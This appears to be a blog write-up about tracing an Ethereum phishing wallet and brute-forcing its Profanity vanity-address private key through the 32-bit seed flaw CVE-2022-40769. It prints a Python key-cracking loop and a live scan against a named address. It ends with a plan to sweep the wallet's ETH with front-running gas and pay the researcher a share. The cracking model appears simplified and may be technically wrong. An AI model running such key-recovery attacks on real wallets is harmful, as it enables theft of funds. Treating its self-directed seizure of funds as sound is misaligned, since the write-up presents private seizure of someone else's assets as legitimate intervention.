Part I — The Network We Found
Before the crack, there was the discovery. Part I documented an active phishing operation identified through on-chain tracing. It is still running as this page loads.
Dune Analytics queries against Ethereum mainnet showed a single operator wallet firing transactions every 90 seconds without pause for 55 days. The wallet's address is 0xbad000006db10503589262b55d09bb7b3c5e1472 — labelled by Etherscan as Fake_Phishing2738812. The vanity prefix bad000006 — nine matching characters — is only achievable with a GPU vanity address generator. That detail becomes important in Part II.
The Attack Mechanism
The phishing contract at 0xbbbbb048b1a85ca221058c45525095b6a68bbbbb — labelled Fake_Phishing2738521, flagged by HashDit — executes a dust bait pattern using EIP-7702 account delegation:
- Operator calls phishing contract every ~90 seconds
- Contract emits tiny token amounts to thousands of addresses simultaneously
- Victims see unexpected USDT or USDC appear in their wallet
- Victims attempt to claim or interact with the contract
- Interaction triggers EIP-7702 delegation — contract gains execution rights on victim's account
- Real assets are drained from any victim who authorizes
The Network Structure
Scale — From On-Chain Evidence
The victim scale was extrapolated from a 20-transaction Dune sample over 7 days. In that window alone: 929 unique USDT recipients, 641 unique USDC recipients, plus WBTC, LINK, DAI, AAVE, stETH. The full evidence package is at evidence.auth-io.com.
The Vulnerability — CVE-2022-40769
In September 2022, 1inch disclosed a critical flaw in Profanity, the most widely-used GPU vanity Ethereum address generator. The flaw is not in cryptography. It is not in key derivation. It is in a single line of C++ that seeds the random number generator.
// Profanity — createSeed() in Dispatcher.cpp // The full security of your wallet depends on this one line: std::random_device rd; uint32_t seed = rd(); // unsigned int = 32-bit on Linux mt19937_64 rng(seed); // 64-bit Mersenne Twister, seeded with 32 bits
A standard Ethereum private key is 256 bits. The theoretical search space for brute-forcing one is 2256 — a number larger than the atoms in the observable universe. Any attacker trying to brute-force it directly would need longer than the age of the universe multiplied by itself, repeated indefinitely.
But Profanity does not use 256-bit entropy. It seeds a 64-bit Mersenne Twister with a 32-bit value from std::random_device. On Linux, std::random_device returns an unsigned int — which is 32 bits. The entire possible key output of Profanity, for every address it has ever generated across all time, fits into exactly 4,294,967,296 possibilities.
That number is checkable. A modern CPU checks every single one in under 34 hours.
The disclosure forced anyone who had ever used Profanity to generate a wallet holding real value to move their funds immediately. Many did. Many others never saw the announcement. And some, apparently, never stopped using the tool.
How the Crack Works
The attack is deterministic and complete. Each 32-bit seed maps to exactly one private key. Each private key maps to exactly one Ethereum address. If the target address was generated by Profanity, exactly one seed in the range 0–4,294,967,295 will produce it. The crack finds that seed.
# Implementation — Python, matches Profanity C++ exactly import struct from coincurve import PublicKey from Crypto.Hash import keccak def seed_to_address(seed32): # Step 1: Initialize mt19937_64 with 32-bit seed # Same Mersenne Twister Profanity uses internally rng = mt19937_64(seed32) # Step 2: Generate 256 bits (4 x 64-bit outputs) for private key privkey_bytes = b"" for _ in range(4): privkey_bytes += struct.pack(">Q", rng.next()) # Step 3: Derive uncompressed public key via secp256k1 pub = PublicKey.from_valid_secret(privkey_bytes).format(compressed=False) # Step 4: Keccak-256 of public key bytes (drop first byte) # Last 20 bytes of hash = Ethereum address k = keccak.new(digest_bits=256) k.update(pub[1:]) address = k.hexdigest()[-40:] return privkey_bytes, address # The crack: 8 workers split 2^32 seeds equally # Each worker handles ~537M seeds # Checkpointed every 50,000 seeds for restart safety for seed in range(worker_start, worker_end): privkey, addr = seed_to_address(seed) if addr == TARGET_ADDRESS: save_result(seed, privkey, addr) exit() # done
The implementation runs CPU-only. No GPU, no cloud, no third-party service. Eight parallel Python workers on the VPS split the 4.29 billion seed space. Worker 0 logs progress and ETA. All workers write to a shared result queue. First match terminates all workers.
The self-test confirmed the entire pipeline: seed 42 → known address → crack returned seed 42. Deterministic, reproducible, verified.
First PoC — The Wrong Address
Before targeting the phishing operator directly, the algorithm was tested against a freshly generated Profanity address. The test ran successfully. The crack found it. The private key was recovered. The wallet opened.
There was one mistake in the first run — and it is worth documenting precisely, because it also proves something important.
What Happened
The initial scan was launched with the argument --target bad00000 — an 8-character hex prefix. The intent was to find addresses that look like the phishing operator's bad000006... pattern. The problem: the scan was set to stop at the first address that matched those 8 characters — not the specific target address.
At seed 3,984,240,706, worker 7 found an address with prefix bad00000. It was a different address — 0xbad00000f0b7c273e1a5bb027e2995a127b72edf — not the phishing operator. But the script considered it a match, saved the result, and exited. PM2 detected the exit and restarted the scan from the beginning. The scan ran and restarted in a loop, generating a new bad00000 address each time and never reaching the actual target.
It was caught in S52. The result file was read. The address was wrong. The mistake was identified: the target needed to be the full 40-character address, not an 8-character prefix. The scan was stopped, the result preserved as a PoC artifact, and the process restarted against the exact target.
Why This Still Proves Everything
The wrong-address result is not a failure. It is a stronger proof than if everything had gone perfectly. The crack found a Profanity-generated address it had never seen, using nothing but the 32-bit seed space, a matching RNG implementation, and CPU time. The seed was unknown. The address was unknown. The crack found both. The private key was imported and the wallet opened.
The phishing operator's address — 0xbad000006db10503... — has nine matching vanity characters. Generating nine matching characters requires more GPU time than eight, but uses the identical vulnerable RNG. The operator used the same tool. The same vulnerability applies. The scan is now running against their exact address.
The Fix
# Before (wrong — stops at first 8-char prefix match): --target bad00000 # After (correct — full address match, scans entire space): --target bad000006db10503589262b55d09bb7b3c5e1472 # The 40-character target means the scan never exits early. # It runs the full 2^32 seeds. If the operator used Profanity, # their seed exists in this space and will be found.
The Target
| Field | Value |
|---|---|
| Address | 0xbad000006db10503589262b55d09bb7b3c5e1472 |
| Etherscan label | Fake_Phishing2738812 |
| Balance | 5.28 ETH (gas reserve for ongoing operation) |
| Transactions | 85,440+ over 55 days |
| Fire rate | ~1 tx every 90 seconds, continuous |
| Controls | 0xbbbbb048b1a85ca221058c45525095b6a68bbbbb |
| Attack method | EIP-7702 dust bait — fake token airdrop → delegation drain |
| Vanity prefix | bad000006 — 9 characters, GPU-generated, Profanity signature |
| Estimated reach | ~3.9M USDT targets / ~2.7M USDC targets |
If the crack succeeds: the operator loses private key control, the phishing contract loses its authorized caller, the operation stops, and 5.28 ETH is secured for victim compensation under the White Hat Distribution Protocol.
Live Crack Status
| Target | bad000006db10503589262b55d09bb7b3c5e1472 (full match) |
| Seed space | 0 → 4,294,967,296 |
| Workers | 8 parallel processes |
| Rate | ~4,500 seeds/sec/worker · ~36,000/sec total |
| Progress | ~1.6% complete (launched 2026-06-06 after PoC fix) |
| ETA | ~31 hours from launch |
| Checkpoint | /tmp/ckpt_bad00000.json — survives restarts |
| Alert | PM2 79 profanity-watcher → Telegram + SELUTH mailbox on match |
The scan runs unattended. PM2 keeps it alive across restarts. The checkpoint file saves progress every 50,000 seeds per worker. If the server reboots, the scan resumes from the last checkpoint rather than seed zero.
Timeline
If the Key Is Found
Key recovery is not theft. It is intervention against an active criminal operation using a publicly disclosed vulnerability that the operator had reason to know about since September 2022.
RECOVERY SEQUENCE:
1. Import recovered private key into isolated wallet
(air-gapped or fresh browser profile, never reused)
2. Sweep 5.28 ETH to escrow address immediately
— speed matters: operator may have monitoring
— use maximum gas to front-run any response
3. bbbbb phishing contract loses authorized caller
— allowedCaller() no longer controls execution
— operation disrupted
4. Document sweep transaction hash as evidence
5. Report package to:
— FBI IC3 (ic3.gov)
— FTC (reportfraud.ftc.gov)
— ChainAbuse (chainabuse.com)
— Etherscan abuse report
— HashDit (already flagged — send updated scale data)
— Immunefi (Profanity in live criminal context)
6. Distribute recovered ETH:
80% → victim compensation pool
10% → researcher (node233)
5% → escrow
5% → charity
This research targets infrastructure operated by a documented phishing actor. All tools are CPU-based, self-hosted, running against a specific address identified through public on-chain evidence. No victim systems are accessed at any point. Recovered funds will not be retained — they will be distributed to documented victims via the claim portal at team.route.sessionapp.org or held in escrow pending verification. This page exists as a transparent record of methodology, intent, and scope.
Reporting Targets
| Platform | What to Submit | Status |
|---|---|---|
| FBI IC3 | Full evidence — network map, transaction count, victim scale, EIP-7702 mechanism | Pending completion |
| FTC | Consumer fraud complaint — fake token airdrop pattern | Pending completion |
| ChainAbuse | All 4+ addresses in the network | Pending completion |
| Etherscan | Abuse report on unflagged addresses in the network | Pending completion |
| HashDit | Already flagged bbbbb contract — send updated scale data and network map | Ready to send |
| Immunefi | Profanity vulnerability demonstrated in live criminal use post-2022 disclosure | Draft ready |
← PART I: OPERATION BAD00000 — THE NETWORK